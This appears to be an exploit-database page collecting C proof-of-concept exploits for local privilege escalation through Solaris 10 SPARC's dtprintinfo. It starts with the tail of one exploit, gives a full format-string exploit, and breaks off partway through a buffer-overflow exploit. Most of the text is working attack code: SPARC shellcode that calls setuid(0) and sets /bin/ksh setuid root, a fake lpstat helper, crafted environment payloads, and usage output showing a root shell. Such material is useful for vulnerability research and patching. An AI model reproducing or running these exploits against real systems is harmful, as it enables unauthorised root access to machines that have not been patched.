get_sc_addr(VULN, argv); /* fill with ld.so.1 address, saved eip, and arguments */ for (i = 12; i < BUFSIZE - 20; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, sc_addr); /* 2nd argument */ } /* we need at least one directory inside TMP_DIR to trigger the bug */ mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* check for null bytes */ check_zero(sc_addr, "sc address"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * get_sc_addr(): get shellcode address using a helper program */ int get_sc_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11] = "\x00"; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = 0x0; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) < 0) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check and return address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read sc address from helper program\n"); exit(1); } return addr; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address null bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; }
-
Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "Mimimimimimimi * Mimimi only mimi * Mimimimimimimi * Mimimi sexy mi" * -- Serebro * * As usual, exploitation on SPARC turned out to be much more complicated (and * fun) than on Intel. Since the vulnerable program needs to survive one * additional function before we can hijack %pc, the classic stack-based buffer * overflow approach didn't seem feasible in this case. Therefore, I opted for * the format string bug. This is just a proof of concept, 'cause guess what -- * on my system it works only when gdb or truss are attached to the target * process:( To borrow Neel Mehta's words: * * "It's quite common to find an exploit that only works with GDB attached to * the process, simply because without the debugger, break register windows * aren't flushed to the stack and the overwrite has no effect." * -- The Shellcoder's Handbook * * On different hardware configurations this exploit might work if the correct * retloc and offset are provided. It might also be possible to force a context * switch at the right time that results in registers being flushed to the * stack at the right moment. However, this method tends to be unreliable even * when the attack is repeatable like in this case. A better way to solve the * puzzle would be to overwrite something different, e.g.: * * - Activation records of other functions, such as check_dir() (same issues) * - Callback to function SortJobs() (nope, address is hardcoded in .text) * - PLT in the binary (I need a different technique to handle null bytes) * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) * - Other OS function pointers I'm not aware of still present in Solaris 10 * * Finally, it might be possible to combine the stack-based buffer overflow and * the format string bug to surgically fix addresses and survive until needed * for program flow hijacking to be possible. Bottom line: there's still some * work to do to obtain a reliable exploit, but I think it's feasible. You're * welcome to try yourself if you feel up to the task and have a spare SPARC * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c] * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_intel2.c * raptor_dtprintcheckdir_sparc2.c (the real deal) * * Usage: * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall * [on your xserver: disable the access control] * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0 * [on your xserver: double click on the fake "fnord" printer] * ... * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c) * -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0) * <- libc:getenv() = 0xffbff364 * -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0) * <- libc:getenv() = 0xffbff364 * -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0) * ... * setuid(0) = 0 * chmod("/bin/ksh", 037777777777) = 0 * _exit(0) * $ ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise * [previous Solaris versions are also likely vulnerable (and easier to exploit)] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 3000 // size of evil env var #define BUFSIZE2 10000 // size of padding buf #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 383 // number of stackpops /* default retloc and offset for sprintf() */ #define RETLOC 0xffbfbb3c // saved ret location #define OFFSET 84 // offset from retloc to i0loc /* default retloc and offset for check_dir() */ /* TODO: patch %i6 that gets corrupted by overflow */ //#define RETLOC 0xffbfbbac // default saved ret location //#define OFFSET 1884 // default offset from retloc to i0loc /* split an address in 4 bytes */ #define SPLITB(B1, B2, B3, B4, ADDR) { \ B4 = (ADDR & 0x000000ff); \ B3 = (ADDR & 0x0000ff00) >> 8; \ B2 = (ADDR & 0x00ff0000) >> 16; \ B1 = (ADDR & 0xff000000) >> 24; \ } /* calculate numeric arguments for write string */ #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ N1 = (B4 - BASE) % 0x100; \ N2 = (B2 - BASE - N1) % 0x100; \ N3 = (B1 - BASE - N1 - N2) % 0x100; \ N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ BASE += N1 + N2 + N3 + N4; \ } //#define USE_EXEC_SC // uncomment to use exec shellcode #ifdef USE_EXEC_SC char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* execve("/bin/ksh", argv, NULL) */ "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ "\x41\x41\x41\x41" /* placeholder */ "/bin/ksh"; #else char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* chmod("/bin/ksh", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* exit(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; #endif /* USE_EXEC_SC */ /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int get_env_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; char platform[256], release[256], display[256]; int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc; int offset = OFFSET; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("sprintf"); int rwx_mem = search_rwx_mem() + 24; /* stable address */ int i, stackpops = STACKPOPS; unsigned char b1, b2, b3, b4; unsigned base, n[16]; /* must be unsigned */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* helper program that prints argv[0] address, used by get_env_addr() */ if (!strcmp(argv[0], "foo")) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if ((argc < 2) || (argc > 4)) { #ifdef USE_EXEC_SC fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]); #else fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]); #endif /* USE_EXEC_SC */ exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); if (argc > 2) retloc = (int)strtoul(argv[2], (char **)NULL, 0); if (argc > 3) offset = (int)strtoul(argv[3], (char **)NULL, 0); /* calculate saved %i0 and %i7 locations based on retloc */ i0loc = retloc + offset; i1loc = i0loc + 4; i7loc = i0loc + 28; /* evil env var: name + shellcode + padding */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); p += strlen("REQ_DIR="); /* padding buffer to avoid stack overflow */ memset(buf2, 'B', sizeof(buf2)); buf2[sizeof(buf2) - 1] = 0x0; /* fill the envp, keeping padding */ add_env(buf2); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp"); add_env("PATH=.:/usr/bin"); sc_addr = add_env("HOME=/tmp"); add_env(sc); add_env(NULL); /* calculate the needed addresses */ env_addr = get_env_addr(VULN, argv); sc_addr += env_addr; #ifdef USE_EXEC_SC /* populate exec shellcode placeholder */ set_val(sc, 48, sb - 1024); #endif /* USE_EXEC_SC */ /* format string: saved ret */ *((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i0: 1st arg to sprintf() */ *((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i7: return address */ *((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i1: 2nd arg to sprintf() */ *((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */ /* format string: stackpop sequence */ base = p - buf - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); /* calculate numeric arguments for retloc */ SPLITB(b1, b2, b3, b4, (ret - 4)); CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base); /* calculate numeric arguments for i0loc */ SPLITB(b1, b2, b3, b4, rwx_mem); CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base); /* calculate numeric arguments for i7loc */ SPLITB(b1, b2, b3, b4, (rwx_mem - 8)); CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base); /* calculate numeric arguments for i1loc */ SPLITB(b1, b2, b3, b4, sc_addr); CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base); /* check for potentially dangerous numeric arguments below 10 */ for (i = 0; i < 16; i++) n[i] += (n[i] < 10) ? (0x100) : (0); /* format string: write string */ sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]); buf[strlen(buf)] = 'A'; /* preserve buf length */ /* we need at least one directory inside TMP_DIR to trigger the bug */ mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc); fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc); fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc); fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); /* check for null bytes (add some padding to env if needed) */ check_zero(retloc, "ret location"); check_zero(i0loc, "%%i0 location"); check_zero(i1loc, "%%i1 location"); check_zero(i7loc, "%%i7 location"); check_zero(rwx_mem, "rwx_mem address"); check_zero(sc_addr, "sc address"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } } /* * get_env_addr(): get environment address using a helper program */ int get_env_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11] = "\x00"; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = 0x0; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) < 0) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check and return address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read ff address from helper program\n"); exit(1); } return addr + 4; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "error: sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "error: can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address null bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); }
-
Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC * Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This is a revised version of my original exploit that should work on * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain * the needed addresses that's hopefully universal (goodbye VOODOO macros!). * and I had to work around some annoying crashes, which led me to write * a custom shellcode that makes /bin/ksh setuid. Crude but effective;) * If you feel brave, you can also try my experimental exec shellcode, for * SPARC V8 plus and above architectures only ("It works on my computer!"). * * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly * suspect this is the reason for the weird behavior in the execution of * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1, * in the strncmp() function called by brand_uucopystr(). If that's indeed * the case, any shellcode (including lsd-pl.net's classic shellcode) should * work on physical systems and I just spent a non-neglibible amount of time * debugging this for no valid reason but my love of hacking... Oh well! * * Usage: * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_sparc3 10.0.0.122:0 * [...] * $ ls -l /bin/ksh * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh * $ /bin/ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13) */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC" #define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address //#define USE_EXEC_SC // uncomment to use exec shellcode #ifdef USE_EXEC_SC char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* execve("/bin/ksh", argv, NULL) */ "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ "\x41\x41\x41\x41" /* placeholder */ "/bin/ksh"; #else char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* chmod("/bin/ksh", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* exit(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; #endif /* USE_EXEC_SC */ /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int get_ff_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; char platform[256], release[256], display[256]; int i, ff_addr, sc_addr, ret_pos, fpt_pos; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("sprintf"); int rwx_mem = search_rwx_mem() + 24; /* stable address */ /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret and fake frame addresses from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return and fake frame addresses */ for (i = 0; i < BUFSIZE; i += 4) { /* apparently, we don't need to bruteforce */ set_val(buf, i, ret - 4); set_val(buf, i += 4, ff_addr); } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* helper program that prints argv[0] address, used by get_ff_addr() */ if (!strcmp(argv[0], "foo")) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc != 2) { #ifdef USE_EXEC_SC fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); #else fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]); #endif /* USE_EXEC_SC */ exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the fake frame */ bzero(ff, sizeof(ff)); for (i = 0; i < 64; i += 4) { set_val(ff, i, DUMMY); } /* fill the envp, keeping padding */ sc_addr = add_env(ff); add_env(sc); ret_pos = env_pos; add_env("RET=0x41414141"); /* placeholder */ fpt_pos = env_pos; add_env("FPT=0x42424242"); /* placeholder */ add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the needed addresses */ ff_addr = get_ff_addr(VULN, argv); sc_addr += ff_addr; /* * populate saved %l registers */ set_val(ff, i = 0, ff_addr + 56); /* %l0 */ set_val(ff, i += 4, ff_addr + 56); /* %l1 */ set_val(ff, i += 4, ff_addr + 56); /* %l2 */ set_val(ff, i += 4, ff_addr + 56); /* %l3 */ set_val(ff, i += 4, ff_addr + 56); /* %l4 */ set_val(ff, i += 4, ff_addr + 56); /* %l5 */ set_val(ff, i += 4, ff_addr + 56); /* %l6 */ set_val(ff, i += 4, ff_addr + 56); /* %l7 */ /* * populate saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */ set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */ set_val(ff, i += 4, ff_addr + 56); /* %i2 */ 